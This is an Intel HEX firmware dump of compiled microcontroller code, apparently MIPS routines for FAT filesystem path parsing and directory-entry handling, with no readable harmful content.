:10513000211080003c02c5af4002c6af3802c2a3b6
:105140001200c0a71400c0a73c02c28f1800c2af53
:105150003c02c28f1c00c2af00a0023c00064224e9
:105160002000c2af388180a3f4d8400f00000000b7
:10517000060040100000000018000224388182a3bd
:10518000ffff02246c57400b000000004880828f14
:1051900068004010000000003c02c28f1c00c2af3b
:1051a0001000c0a77154400b000000001c00c28f0b
:1051b000020042241c00c2af1000c297010042242a
:1051c0001000c2a71c00c28f000042940b004010c8
:1051d000000000001c00c28f000043942e00022437
:1051e00006006210000000001c00c28f0000439403
:1051f0005c000224edff6214000000001000c29762
:105200000101422c06004014000000001f0002248f
:10521000388182a3ffff02246c57400b000000007e
:105220001200c0a71c00c28f000043942e0002246d
:1052300020006214000000001c00c28f0200422403
:105240001c00c2af9954400b000000001c00c28f2c
:10525000020042241c00c2af1200c2970100422487
:105260001200c2a71c00c28f00004294060040102a
:10527000000000001c00c28f000043945c00022468
:10528000f2ff6214000000001000c3971200c297e2
:1052900021106200010142280600401400000000b5
:1052a0001f000224388182a3ffff02246c57400ba9
:1052b000000000001000c3971200c297211862007e
:1052c0001400c2972a10430007004010000000009d
:1052d0001000c3971200c297211062001400c2a7e9
:1052e000bf54400b00000000bf54400b0000000002
:1052f0001c00c28f020042241c00c2af1c00c28fdf
:10530000000043945c000224f9ff621000000000da
:105310001c00c28f000042940400401400000000f2
:10532000000000003155400b000000006854400ba5
:10533000000000001000c0a7d654400b0000000081
:105340001800c28f010042241800c2af1000c2979b
:10535000010042241000c2a71800c28f0000428042
:105360000b004010000000001800c28f00004380b6
:105370002e00022406006210000000001800c28ff8
:10538000000043805c000224edff62140000000076
:105390001000c2970101422c0600401400000000da
:1053a0001f000224388182a3ffff02246c57400ba8
:1053b000000000001200c0a71800c28f0000438048
:1053c0002e00022420006214000000001800c28f8a
:1053d000010042241800c2affe54400b0000000040
:1053e0001800c28f010042241800c2af1200c297f9
:1053f000010042241200c2a71800c28f00004280a0
:1054000006004010000000001800c28f000043801a
:105410005c000224f2ff6214000000001000c39739
:105420001200c297211062000101422806004014b8
:10543000000000001f000224388182a3ffff022425
:105440006c57400b000000001000c3971200c29779
:10545000211862001400c2972a1043000700401070
:10546000000000001000c3971200c29721106200d4
:105470001400c2a72455400b000000002455400b27
:10548000000000001800c28f010042241800c2afc3
:105490001800c28f000043805c000224f9ff6210f4
:1054a000000000001800c28f00004280030040147a
:1054b000000000003155400b00000000cd54400baf
:1054c000000000003c02c28f1c00c2af3c02c28f31
:1054d0001800c2af0c80828f2000c48f21284000aa
:1054e000403e400f000000004880828f06004010c0
:1054f000000000001c00c28f000042941000c2a7f0
:105500004555400b000000001800c28f000042808b
:105510001000c2a71000c3972e000224800062145e
:10552000000000004880828f090040100000000049
:105530001c00c28f020042241c00c2af1c00c28f9c
:10554000000042941000c2a75a55400b0000000012
:105550001800c28f010042241800c2af1800c28f89
:10556000000042801000c2a71000c3972e00022442
:105570000d006210000000001000c2970a004010e9
:10558000000000001000c3975c00022406006210b7
:10559000000000001f000224388182a3ffff0224c4
:1055a0006c57400b000000001000c3972e0002242f
:1055b00037006214000000000c80828f3c00438c96
:1055c0002881828f06006214000000001f00022460
:1055d000388182a3ffff02246c57400b00000000bb
:1055e0004880828f09004010000000001c00c28f1c
:1055f000020042241c00c2af1c00c28f0000429473
:105600001000c2a78955400b000000001800c28f8f
:10561000010042241800c2af1800c28f000042806f
:105620001000c2a71000c3975c000224090062109a
:10563000000000001000c2970600401000000000ab
:105640001f000224388182a3ffff02246c57400b05
:10565000000000004880828f07004010000000001a
:10566000059d023c905f4424414c400f0000000027
:10567000a455400b00000000059d023c985f4424a7
:10568000414c400f00000000b755400b00000000e7
:10569000b755400b000000004880828f0900401081
:1056a000000000001c00c28f020042241c00c2af98
:1056b0001c00c28f000042941000c2a7b755400bd7
:1056c000000000001800c28f010042241800c2af81
:1056d0001800c28f000042801000c2a71000c397bc
:1056e0005c000224ecff6210000000001000c29772
:1056f0004f004014000000000c80828f21204000e9
:105700002000c58f403e400f000000001f00022413
:10571000388182a3ffff02246c57400b0000000079
:105720001000c3975c0002243f00621400000000d8
:105730000c80828f2881838f3c0043ac0c80828f49
:105740002881838f400043ac1000c0a70c80838f5a
:105750001000c297010044241000c4a72110620069
:105760005c000324200043a0e455400b000000002f
:105770000c80838f1000c297211062002000032448
:10578000200043a01000c297010042241000c2a7cd
:105790001000c2970b00422cf5ff401400000000df
:1057a0004880828f09004010000000001c00c28f5a
:1057b000020042241c00c2af1c00c28f00004294b1
:1057c0001000c2a7f955400b000000001800c28f5e
:1057d000010042241800c2af1800c28f00004280ae
:1057e0001000c2a71000c3975c00022404006210de
:1057f000000000001000c2970d00401400000000df
:105800000c80828f212040002000c58f403e400f39
:10581000000000001f000224388182a3ffff022441
:105820006c57400b000000000e56400b00000000bb
:105830003a55400b000000004880828f2f00401036
:10584000000000001c00c28f000042941000c2a79c
:105850001200c0a7000202241400c2a73156400b58
:10586000000000001200c297010043241200c3a7e9
:105870001000c397201c037c1000c4272110820055
:105880001c0043a01200c297010043241200c3a7ca
:105890001000c397021a0300ffff6330201c037c33
:1058a0001000c427211082001c0043a01c00c28fde
:1058b000020042241c00c2af1c00c28f00004294b0
:1058c0001000c2a71000c2972e0040100000000078
:1058d0001000c3975c0002242a0062100000000040
:1058e0001200c3971400c2972b106200ddff401412
:1058f000000000006156400b000000001800c28f3d
:10590000000042801000c2a71200c0a700010224bc
:105910001400c2a75556400b000000001200c297a9
:10592000010043241200c3a71000c397201c037c6e
:105930001000c427211082001c0043a01800c28f51
:10594000010042241800c2af1800c28f000042803c
:105950001000c2a71000c2970a004010000000000b
:105960001000c3975c0002240600621000000000d3
:105970001200c3971400c2972b106200e7ff401477
:10598000000000004880828f4000401000000000ae
:105990001200c297010043241200c3a71000c327be
:1059a000211062001c0040a01200c2971000c32703
:1059b000211062001c0040a02c00c3832e00022492
:1059c0005c006214000000002d00c28359004014e6
:1059d000000000002e00c2830400401400000000fc
:1059e0002f00c28312004010000000002e00c3836d
:1059f0002e00022404006214000000002f00c28365
:105a00000b004010000000000c80828f212040001d
:105a10002000c58f403e400f000000001f00022400
:105a2000388182a3ffff02246c57400b0000000066
:105a30002e00c3832e0002243e00621400000000ea
:105a40002f00c2833b004014000000003000c283de
:105a500004004014000000003100c28335004010f3
:105a6000000000000c80828f212040002000c58fa4
:105a7000403e400f000000001f000224388182a336
:105a8000ffff02246c57400b000000001200c29779
:105a90001000c327211062001c0040a02c00c3830b
:105aa0002e00022423006214000000002d00c28397
:105ab0000f004010000000002d00c3832e000224c0
:105ac0000b006210000000000c80828f212040003b
:105ad0002000c58f403e400f000000001f00022440
:105ae000388182a3ffff02246c57400b00000000a6
:105af0002d00c3832e0002240e006214000000005b
:105b00002e00c2830b004010000000000c80828f2a
:105b1000212040002000c58f403e400f00000000c3
:105b20001f000224388182a3ffff02246c57400b20
:105b3000000000002c00c22721204000414c400ff3
:105b400000000000070040100000000000000000fe
:105b50004880828f4600401000000000fd56400b38
:105b600000000000ec56400b000000004880828fcf
:105b700009004010000000001c00c28f02004224f7
:105b80001c00c2af1c00c28f000042941000c2a7cc
:105b9000ec56400b000000001800c28f01004224a8
:105ba0001800c2af1800c28f000042801000c2a7c8
:105bb0001000c3975c000224ecff6210000000009c
:105bc0001000c29709004014000000000c80828f72
:105bd000212040002000c58f403e400f0000000003
:105be000211000006c57400b000000000e56400bc7
:105bf000000000001400c0a72c00c2272400c2af80
:105c000000a0023ce81542242800c2af1400c2974d
:105c1000401002002800c38f211062001400c397b7
:105c2000401803002400c48f2118830000006394ef
:105c3000000043a41400c297401002002800c38f44
:105c40002110620000004294060040100000000095
:105c50001400c297010042241400c2a70357400b4e
:105c600000000000000000002257400b0000000070
:105c70002c00c22700a0033ce81564242128400022
:105c80007f49410f0000000000a0023ce8154424b9
:105c90007257400f0000000009004014000000008f
:105ca0000c80828f212040002000c58f403e400f95
:105cb00000000000ffff02246c57400b00000000b2
:105cc0002c00c22721204000414c400f0000000062
:105cd0000b004010000000000c80828f212040004b
:105ce0002000c58f403e400f000000001b00022432
:105cf000388182a3ffff02246c57400b0000000094
:105d00004880828f10004010000000004b57400b6d
:105d1000000000001c00c28f020042241c00c2af21
:105d20001c00c28f000042941000c2a71c00c28f4a
:105d3000000043945c000224f6ff621000000000a3
:105d40005f57400b000000005a57400b0000000056
:105d50001800c28f010042241800c2af1800c28f81
:105d6000000042801000c2a71800c28f00004380cc
:105d70005c000224f6ff6210000000001000c297d1
:105d800009004014000000000c80828f2120400098
:105d90002000c58f403e400f000000002110000091
:105da0006c57400b000000000e56400b0000000036
:105db00021e8c0033402bf8f3002be8f3802bd27f6
:105dc0000800e00300000000d0ffbd272c00bfaf9b
:105dd0002800beaf21f0a0033000c4af00a0023cf9
:105de000a01342241400c2af2000c0a73000c48f0b
:105df0001400c58f213000007644400f00000000e1
:105e0000060040140000000012000224388182a322
:105e100021100000e457400b000000000c80828f2e
:105e20003c00438c1400c28f3c0043ac0c80828f3a
:105e30004000438c1400c28f400043ac1400c28f5a
:105e4000040040ac1400c28f080040ac0c80828f6c
:105e50000000438c1400c28f000043ac2000c22716
:105e60001400c48f212840001200062401000724da
:105e7000e630400f00000000040040100000000069
:105e800021100000e457400b000000003c8082938a
:105e900010004010000000001400c28f0000428c6f
:105ea00021204000212800002130000001000724ab
:105eb000c64a400f0000000006004010000000002d
:105ec00009000224388182a321100000e457400b0e
:105ed000000000001400c28f3c00438c2881828f98
:105ee00004006214000000001000c0afc057400b57
:105ef000000000001400c28f3c00428c1000c2afb2
:105f00001400c28f3c00438c1400c28f400043ac8d
:105f10002000c2271400c48f21284000010006245d
:105f2000e72f400f000000001800c2af1800c28f1a
:105f300006004014000000001b000224388182a3e8
:105f400021100000e457400b000000001800c48f2f
:105f50000227400f000000001c00c2af1400c28fd7
:105f60000000428c212040001c00c58f1000c68f0d
:105f7000ea57400f0000000004004010000000003d
:105f800001000224e457400b000000002110000033
:105f900021e8c0032c00bf8f2800be8f3000bd2732
:105fa0000800e00300000000b8ffbd274400bfafb9
:105fb0004000beaf21f0a0034800c4af4c00c5af05
:105fc0005000c6af2000c2271400c2af408080af8f
:105fd000200002241800c2a74800c28f0300438893
:105fe000000043984800c28f1d004488212880008b
:105ff0001a0045982110a0002120600021280000ef
:10600000213040006551410f000000002e000224a5
:106010002000c2a3010002241000c2a71158400ba7
:10602000000000001000c2971000c327211062007a
:1060300020000324100043a01000c2970100422456
:106040001000c2a71000c2970800422cf5ff4014b0
:10605000000000001000c0a72058400b0000000006
:106060001000c2971000c3272110620020000324f3
:10607000180043a01000c297010042241000c2a7dc
:106080001000c2970300422cf5ff401400000000ee
:10609000100002242b00c2a32c00c0a34c00c28f0e
:1060a000ffff42303a00c2a74c00c38fff0f023cf3
:1060b0002410620002140200ffff42303400c2a725
:1060c0003c00c0af168182932d00c2a32c81829721
:1060d0002e00c2a73a8182973000c2a73200c0a723
:1060e0003600c0a73800c0a71000c0a74b58400b0f
:1060f000000000004800c28f03004388000043985e
:106100001000c297211062001000c3971400c48fc2
:106110002118830000006380ff006330000043a06b
:106120001000c297010042241000c2a71000c397bc
:106130001800c2972b106200eeff40140000000010
:106140002e0002242100c2a35000c28fffff423064
:106150003a00c2a75000c38fff0f023c2410620018
:1061600002140200ffff42303400c2a71000c0a793
:106170006e58400b000000004800c28f03004388a7
:10618000000043981000c4971800c29721108200a5
:10619000211062001000c3971400c48f21188300df
:1061a00000006380ff006330000043a01000c2972e
:1061b000010042241000c2a71000c3971800c29724
:1061c0002b106200ecff4014000000004800c48f58
:1061d0004c00c58f6d3f400f000000001c00c2af97
:1061e0004800c28f030043882120600000004498cb
:1061f000211080001c00c48f2128400021300000a5
:10620000b6d8400f00000000060040140000000057
:1062100009000224388182a3211000008a58400b13
:10622000000000000100022421e8c0034400bf8fe9
:106230004000be8f4800bd270800e00300000000ba
:10624000e8ffbd271400bfaf1000beaf21f0a003d0
:106250001800c4af2110a0001c00c2a31c00c293f0
:10626000212000001800c58f213000002138400097
:10627000bd58400f0000000021e8c0031400bf8f8c
:106280001000be8f1800bd270800e00300000000ca
:10629000e0ffbd271c00bfaf1800beaf21f0a00378
:1062a0002000c4af2110a0002400c2a301000224da
:1062b000488082af2400c293212000002000c58fb7
:1062c0002130000021384000bd58400f0000000080
:1062d0001000c2af488080af1000c28f21e8c00319
:1062e0001c00bf8f1800be8f2000bd270800e003f0
:1062f0000000000070fdbd278c02bfaf8802beaf5a
:1063000021f0a003211880009402c5af9802c6af07
:106310002110e0009002c3a39c02c2a300a0023c93
:10632000000642242400c2af00a0023ca013422475
:106330002800c2af3400c0a71600c0a74880828fd3
:106340002c00c2af3800c2273000c2af388180a312
:106350000c80828f2400c48f21284000403e400fd3
:10636000000000009402c48f414c400f0000000068
:1063700006004010000000000c000224388182a3b7
:10638000ffff0224d65d400b000000000c80828fce
:106390003c00438c2881828f0700621000000000bf
:1063a0000c80828f3c00438c2400c28f3c00428cc6
:1063b0000b006214000000000c80828f212040003e
:1063c0002400c58f403e400f000000001f00022443
:1063d000388182a3ffff0224d65d400b000000003d
:1063e0003400c29701004224ffff42303400c2a7ac
:1063f0000c80838f3400c2272120600021284000b8
:1064000001000624e72f400f000000001000c2af7b
:106410001000c28f0b004014000000000c80828f1f
:10642000212040002400c58f403e400f00000000a6
:106430001b000224388182a3ffff0224d65d400b9b
:10644000000000003400c29701004224ffff4230e8
:106450003400c2a70c80838f3400c2272120600043
:106460002128400021300000e72f400f00000000ed
:106470001000c2af1000c28f0b00401400000000db
:106480000c80828f212040002400c58f403e400fa9
:10649000000000001b000224388182a3ffff0224b9
:1064a000d65d400b000000009c02c29331004014f6
:1064b000000000005759400b000000001000c28f80
:1064c00000004380e5ff02240b0062100000000082
:1064d0000c80828f212040002400c58f403e400f59
:1064e0000000000016000224388182a3ffff02246e
:1064f000d65d400b000000003400c297010042242a
:10650000ffff42303400c2a70c80838f3400c227c3
:10651000212060002128400021300000e72f400f9b
:10652000000000001000c2af1000c28f0b0040142a
:10653000000000000c80828f212040002400c58fc5
:10654000403e400f000000001b000224388182a35f
:10655000ffff0224d65d400b000000001000c28f38
:1065600000004280d5ff4014000000006b5d400b2e
:10657000000000002e8180a31400c0a72400c28f59
:106580003800c327300043ac2800c28f3800c3272f
:10659000300043ac685d400b000000001000c28f6b
:1065a0000000428019024010000000001000c28f5d
:1065b00000004380e5ff0224ee00621000000000ae
:1065c0001000c28f0b0043900f000224e9006214f8
:1065d000000000001000c28f1c00c2af1c00c28f60
:1065e00000004290400042301700401000000000c0
:1065f0001c00c28f00004290bfff4224ffff4230c8
:10660000211840002110600080100200802002004c
:106610002310820021104300ffff42301600c2a762
:106620001600c2870d004224401002003000c38fc4
:1066300021106200000040a4010002242000c2af2b
:106640009f59400b000000001c00c28f00004290c8
:10665000ffff4224ffff423021184000211060005c
:1066600080100200802002002310820021104300cd
:10667000ffff42301600c2a72000c0af1c00c28f2f
:10668000010042908002c2a31c00c28f020042900f
:106690008102c2a31600c287010043241600c3a7cb
:1066a000401002003000c38f211062008002c397a7
:1066b000000043a41c00c28f030042908002c2a3ca
:1066c0001c00c28f040042908102c2a31600c28740
:1066d000010043241600c3a7401002003000c38ffe
:1066e000211062008002c397000043a41c00c28fe7
:1066f000050042908002c2a31c00c28f0600429097
:106700008102c2a31600c287010043241600c3a75a
:10671000401002003000c38f211062008002c39736
:10672000000043a41c00c28f070042908002c2a355
:106730001c00c28f080042908102c2a31600c287cb
:10674000010043241600c3a7401002003000c38f8d
:10675000211062008002c397000043a41c00c28f76
:10676000090042908002c2a31c00c28f0a0042901e
:106770008102c2a31600c287010043241600c3a7ea
:10678000401002003000c38f211062008002c397c6
:10679000000043a41600c287010043241600c3a7cb
:1067a000401002003000c38f211062001c00c38f14
:1067b0000e006394000043a41600c2870100432426
:1067c0001600c3a7401002003000c38f21106200e2
:1067d0001c00c38f10006394000043a41600c287fe
:1067e000010043241600c3a7401002003000c38fed
:1067f000211062001c00c38f12006394000043a4a8
:106800001600c287010043241600c3a740100200ef
:106810003000c38f211062001c00c38f14006394ea
:10682000000043a41600c287010043241600c3a73a
:10683000401002003000c38f211062001c00c38f83
:1068400016006394000043a41600c287010043248d
:106850001600c3a7401002003000c38f2110620051
:106860001c00c38f18006394000043a41600c28765
:10687000010043241600c3a7401002003000c38f5c
:10688000211062001c00c38f1c006394000043a40d
:106890001600c287401002003000c38f2110620032
:1068a0001c00c38f1e006394000043a42000c28f0d
:1068b0002a004010000000001600c3972400c28f79
:1068c000340043a40c0002241800c2a3505a400b09
:1068d000000000001600c3871800c2832310620066
:1068e00021184000ff7f023cffff4234211062006c
:1068f000401002003000c38f21106200000042945b
:106900000c004014000000001600c3971800c2835a
:10691000ffff423023106200ffff4230ffff42249e
:10692000ffff43302400c28f340043a4535a400b6e
:10693000000000001800c283ffff42241800c2a319
:106940001800c283e3ff4104000000002400c28f4e
:10695000340043942800c28f340043a43400c2970b
:1069600001004224ffff42303400c2a7585b400bb5
:10697000000000001000c28f00004380e5ff0224e9
:10698000f3006210000000001000c28f0b00439063
:1069900008000224ee006210000000001000c28f08
:1069a0000b0043900f000224e90062100000000079
:1069b0001000c28f0b00429010004230880040103f
:1069c000000000001400c297010042241400c2a776
:1069d0002400c28f340042941000401000000000d8
:1069e00001000224488082af3800c22721204000e5
:1069f000414c400f000000001800c2a32c00c28fc1
:106a0000488082af2400c28f340040a42800c28f87
:106a1000340040a4d55a400b000000001800c0a369
:106a2000955a400b000000001800c2931800c39351
:106a30001000c48f21188300000063801000c42759
:106a400021108200280043a01800c28301004224c4
:106a50001800c2a31800c283080042280800401092
:106a6000000000001800c2931000c38f21106200c4
:106a70000000438020000224ebff621400000000ad
:106a80001000c28f080043802000022425006210fd
:106a9000000000001800c283010043241800c3a3b3
:106aa000ff0042301000c327211062002e00032493
:106ab000280043a01900c0a3be5a400b00000000ec
:106ac0001800c283010043241800c3a3ff00423012
:106ad0001900c3931000c48f21188300080063803d
:106ae0001000c42721108200280043a01900c2838f
:106af000010042241900c2a31900c28303004228e6
:106b000008004010000000001900c2931000c38f5d
:106b1000211062000800438020000224e8ff621474
:106b2000000000001800c2931000c327211062006b
:106b3000280040a0488080af3800c22721204000b4
:106b4000414c400f000000001800c2a32c00c28f6f
:106b5000488082af1800c2830b0040100000000084
:106b60000c80828f212040002400c58f403e400fc2
:106b7000000000000c000224388182a3ffff0224e1
:106b8000d65d400b000000000c80828f3c00438cdf
:106b90002400c28f3c00428c0b00621400000000f5
:106ba0000c80828f212040002400c58f403e400f82
:106bb000000000001f000224388182a3ffff02248e
:106bc000d65d400b00000000020002243400c2a782
:106bd00001000224478082a3585b400b00000000a4
:106be0002400c28f340042942600401400000000ac
:106bf0001800c0a30a5b400b000000001800c293fd
:106c00001800c3931000c48f211883000000638014
:106c10002800c48f21108200200043a01800c283e6
:106c2000010042241800c2a31800c28308004228b1
:106c3000f2ff4014000000001800c0a31d5b400bd1
:106c4000000000001800c293080042241800c393fb
:106c50001000c48f21188300080063802800c48faf
:106c600021108200200043a01800c28301004224aa
:106c70001800c2a31800c28303004228f1ff401489
:106c8000000000002800c28f00a0033c58106324bd
:106c9000000043ac3400c3972800c28f360043a4e1
:106ca0000c80828f3c00438c2800c28f3c0043ac98
:106cb0000c80828f4000438c2800c28f400043ac80
:106cc0002800c28f040040ac2800c28f080040acee
:106cd0003400c2272800c48f212840000100062468
:106ce000dd39400f000000000f00401000000000e0
:106cf0002400c28f340040a42800c28f340040a476
:106d00000c80828f212040002400c58f403e400f20
:106d10000000000001000224388182a3ffff02244a
:106d2000d65d400b000000003400c29701004224f1
:106d3000ffff42303400c2a72400c28f340040a4b9
:106d40002800c28f340040a4585b400b00000000b4
:106d50003400c29701004224ffff42303400c2a732
:106d6000478082931000401000000000478080a3fd
:106d70000c80828f0c80838f3c00638c400043ac7e
:106d80000c80838f3400c22721206000212840001e
:106d900001000624e72f400f000000001000c2afe2
:106da000725b400b000000000c80838f3400c22710
:106db000212060002128400021300000e72f400ff3
:106dc000000000001000c2af1000c28ff401401498
:106dd000000000002400c28f340040a42800c28fad
:106de000340040a40c80828f212040002400c58ff5
:106df000403e400f000000001b000224388182a3a7
:106e0000ffff0224d65d400b000000002400c28f6b
:106e1000340040a42800c28f340040a41400c2975c
:106e2000dd014010000000003600c0a70c80828ffa
:106e30000c80838f3c00638c400043ac0c80838fbc
:106e40003600c227212060002128400001000624ce
:106e5000e72f400f000000001000c2af1000c28feb
:106e60000b004014000000000c80828f21204000a5
:106e70002400c58f403e400f000000001b0002248c
:106e8000388182a3ffff0224d65d400b0000000082
:106e90001000c48f0227400f00000000ffff4230a7
:106ea0003600c2a74880828f080040100000000012
:106eb000059d023c905f4424414c400f00000000bf
:106ec0001600c2a7b85b400b00000000059d023c05
:106ed000985f4424414c400f000000001600c2a7f8
:106ee0001600c2870b004010000000000c80828f4b
:106ef000212040002400c58f403e400f00000000cc
:106f00000c000224388182a3ffff0224d65d400bcf
:106f100000000000020002243400c2a70c80828f0f
:106f20000c80838f3c00638c400043ac0c80838fcb
:106f30003400c227212060002128400001000624df
:106f4000e72f400f000000001000c2af1000c28ffa
:106f50000b004014000000000c80828f21204000b4
:106f60002400c58f403e400f000000001b0002249b
:106f7000388182a3ffff0224d65d400b0000000091
:106f80001000c48f0227400f00000000248182af50
:106f9000035c400b000000003400c2970100422453
:106fa000ffff42303400c2a70c80838f3400c22719
:106fb000212060002128400021300000e72f400ff1
:106fc000000000001000c2af1000c28f0b00401480
:106fd000000000000c80828f212040002400c58f1b
:106fe000403e400f000000001b000224388182a3b5
:106ff000ffff0224d65d400b000000001000c48f8c
:107000000227400f00000000248182af3600c297a3
:10701000211840002481828fdfff621400000000ed
:107020003600c297211840002481828f0b00621421
:10703000000000001000c28f00004380e5ff022422
:10704000d5ff6210000000001000c28f0b004390bb
:1070500008000224d0ff6210000000001600c0a744
:107060000c80828f3c02c327212060002128400031
:10707000403e400f000000003400c297ffff422452
:10708000ffff42303a02c2a70c80838f3a02c22728
:10709000212060002128400021300000e72f400f10
:1070a000000000001c00c2afc65c400b00000000e6
:1070b0001c00c28f010042908002c2a31c00c28f3c
:1070c000020042908102c2a31600c287010043243d
:1070d0001600c3a7401002003000c38f21106200c9
:1070e0008002c397000043a41c00c28f030042909b
:1070f0008002c2a31c00c28f040042908102c2a37e
:107100001600c287010043241600c3a740100200e6
:107110003000c38f211062008002c397000043a497
:107120001c00c28f050042908002c2a31c00c28fc7
:10713000060042908102c2a31600c28701004324c8
:107140001600c3a7401002003000c38f2110620058
:107150008002c397000043a41c00c28f0700429026
:107160008002c2a31c00c28f080042908102c2a309
:107170001600c287010043241600c3a74010020076
:107180003000c38f211062008002c397000043a427
:107190001c00c28f090042908002c2a31c00c28f53
:1071a0000a0042908102c2a31600c2870100432454
:1071b0001600c3a7401002003000c38f21106200e8
:1071c0008002c397000043a41600c2870100432435
:1071d0001600c3a7401002003000c38f21106200c8
:1071e0001c00c38f0e006394000043a41600c287e6
:1071f000010043241600c3a7401002003000c38fd3
:10720000211062001c00c38f10006394000043a48f
:107210001600c287010043241600c3a740100200d5
:107220003000c38f211062001c00c38f12006394d2
:10723000000043a41600c287010043241600c3a720
:10724000401002003000c38f211062001c00c38f69
:1072500014006394000043a41600c2870100432475
:107260001600c3a7401002003000c38f2110620037
:107270001c00c38f16006394000043a41600c2874d
:10728000010043241600c3a7401002003000c38f42
:10729000211062001c00c38f18006394000043a4f7
:1072a0001600c287010043241600c3a74010020045
:1072b0003000c38f211062001c00c38f1c00639438
:1072c000000043a41600c287010043241600c3a790
:1072d000401002003000c38f211062001c00c38fd9
:1072e0001e006394000043a43a02c297ffff4224a9
:1072f000ffff42303a02c2a70c80838f3a02c227b6
:10730000212060002128400021300000e72f400f9d
:10731000000000001c00c2af1c00c28f0b00439095
:107320000f0002240a006214000000001c00c28f3b
:1073300000004390e50002240500621000000000f8
:107340001c00c28f0000429059ff40140000000052
:107350000c80838f3c02c22721206000212840003e
:10736000403e400f000000001600c287300040146d
:10737000000000003800c227212040002128000022
:107380000c0006246551410f000000001800c0a346
:10739000f15c400b000000001800c2931800c3937a
:1073a0001000c48f21188300000063801000c427e0
:1073b00021108200280043a01800c283010042244b
:1073c0001800c2a31800c28308004228f2ff40142c
:1073d000000000001800c0a3045d400b0000000086
:1073e0001800c293080042241800c3931000c48ff1
:1073f00021188300080063801000c4272110820038
:10740000280043a01800c283010042241800c2a330
:107410001800c28303004228f1ff4014000000005e
:107420000c80828f340040a4345d400b00000000cb
:107430000c80828f1600c397340043a40c000224f2
:107440001800c2a32e5d400b000000001600c38789
:107450001800c2832310620021184000ff7f023c05
:10746000ffff423421106200401002003000c38f41
:1074700021106200000042940c0040140000000043
:107480000c80828f1600c4971800c383ffff6330ff
:1074900023188300ffff6330ffff6324ffff633087
:1074a000340043a4315d400b000000001800c2838b
:1074b000ffff42241800c2a31800c283e3ff410467
:1074c000000000000c80828f3800c327300043acde
:1074d0003800c22721204000dc5d400f0000000082
:1074e0000b004010000000000c80828f2120400023
:1074f0002400c58f403e400f000000000100022420
:10750000388182a3ffff0224d65d400b00000000fb
:107510003400c29701004224ffff42303400c2a76a
:107520000c80828f0c80838f3c00638c400043acc6
:107530000c80838f3400c227212060002128400066
:1075400001000624e72f400f000000001000c2af2a
:107550001000c28f0b004014000000000c80828fce
:10756000212040002400c58f403e400f0000000055
:107570001b000224388182a3ffff0224d65d400b4a
:10758000000000001400c297ffff42241400c2a7ad
:10759000685d400b00000000010002242e8182a3e0
:1075a0002e818293fdfb4010000000003800c227ae
:1075b0002120400002000524e94e400f0000000099
:1075c00009004014000000000c80828f2120400040
:1075d0002400c58f403e400f00000000ffff022442
:1075e000d65d400b000000000c80828f3400429476
:1075f00019004014000000003800c227212040007c
:10760000212800000c0006246551410f00000000f5
:107610001800c0a3925d400b000000001800c29348
:107620000c80848f1800c39321188300200063808e
:107630001000c42721108200280043a01800c28334
:10764000010042241800c2a31800c2830b00422884
:10765000f2ff4014000000004880828f08004010b4
:1076600000000000059d023c905f4424414c400f07
:10767000000000001600c2a7a55d400b000000003e
:10768000059d023c985f4424414c400f00000000df
:107690001600c2a71600c2870b00401000000000b1
:1076a0000c80828f212040002400c58f403e400f77
:1076b000000000000c000224388182a3ffff022496
:1076c000d65d400b000000000c80828f3400429495
:1076d00009004010000000000c80828f3000428cb6
:1076e00021204000dc5d400f000000001600c2a712
:1076f000c35d400b000000003800c227212040007d
:10770000dc5d400f000000001600c2a71600c28713
:107710000b004010000000000c80828f21204000f0
:107720002400c58f403e400f0000000001000224ed
:10773000388182a3ffff0224d65d400b00000000c9
:107740000c80828f212040002400c58f403e400fd6
:10775000000000002110000021e8c0038c02bf8f50
:107760008802be8f9002bd270800e00300000000e1
:1077700098ffbd276400bfaf6000beaf21f0a0033b
:107780006800c4aff4d8400f0000000004004010af
:1077900000000000ffff02242e5e400b00000000ee
:1077a0000c80828f1800c327212060002128400010
:1077b000403e400f000000000c80828f3400429455
:1077c00013004014000000001400c0a3005e400b32
:1077d000000000000c80848f1400c2931400c39337
:1077e0006800c58f2118a30000006380211082006b
:1077f000200043a01400c293010042241400c2a33d
:107800001400c2930b00422cf2ff40140000000051
:107810000c80828f00a0033ca01364242128400028
:10782000403e400f000000000c80828f212040006d
:1078300000a0023ca01345240100062421380000ca
:10784000db1b400f0000000012004014000000008d
:107850000c80838f0c80828f3600422421206000b0
:107860002128400001000624dd39400f00000000ff
:1078700004004014000000001000c0af275e400b61
:1078800000000000ffff02241000c2af275e400b83
:1078900000000000ffff02241000c2af0c80838fa5
:1078a0001800c2272120600021284000403e400fe0
:1078b000000000001000c28f21e8c0036400bf8fe9
:1078c0006000be8f6800bd270800e00300000000d4
:1078d00098ffbd276400bfaf6000beaf21f0a003da
:1078e0006800c4af6c00c5af7000c6af1800c227f7
:1078f0001400c2af388180a31400c28f00a0033ce3
:1079000090116324300043ac7000c28f00a0033c90
:10791000e41363241c0043ac6800c48f1400c58fbb
:10792000010006244e42400f0000000006004014f3
:107930000000000012000224388182a3ffff02240d
:107940006f5f400b000000007000c28f3c0040a041
:107950001400c28f2c00438c7000c28f180043acff
:107960001400c28f34004294308182a73081829704
:1079700026004014000000001100c0a36c5e400b04
:10798000000000001100c2931100c3936800c48f6f
:1079900021188300000063807000c48f21108200d2
:1079a000280043a01100c293010042241100c2a389
:1079b0001100c2930c00422c070040100000000090
:1079c0001100c2936800c38f211062000000428042
:1079d000ecff4014000000007f5e400b0000000040
:1079e0001100c2937000c38f21106200280040a0d4
:1079f0001100c293010042241100c2a31100c293de
:107a00000d00422cf6ff4014000000006c00c28ff5
:107a1000ff0043307000c28f350043a00c80828f7e
:107a20003c00438c7000c28f380043ac1400c28ffe
:107a300000a0033c58106324000043ac1400c28f24
:107a4000040040ac1400c28f080040ac1400c28f88
:107a5000360040a46c00c28fffff43301400c28f79
:107a60003a0043a40c80828f3c00438c1400c28fe8
:107a70003c0043ac0c80828f4000438c1400c28fca
:107a8000400043ac00a0023ca01344241400c58f66
:107a9000403e400f000000001400c48f00a0023cd4
:107aa000a01345240100062401000724db1b400f1e
:107ab0000000000006004010000000000b0002243f
:107ac000388182a3ffff02246f5f400b000000009b
:107ad0001400c28f360042945c00c2a75c00c2272b
:107ae0001400c48f2128400072000624a622400ff3
:107af00000000000ae004014000000001400c28f1f
:107b0000340043947000c28f200043a41400c28f3d
:107b1000340042941d004010000000001400c28f89
:107b2000340042941200c2a71200c38700a0023c96
:107b300040180300e413422421106200000040a416
:107b4000de5e400b000000001200c4871200c387f5
:107b500000a0023c401803004406422421106200a9
:107b60000000439400a0023c40200400e41342249f
:107b700021108200000043a41200c287ffff4324ab
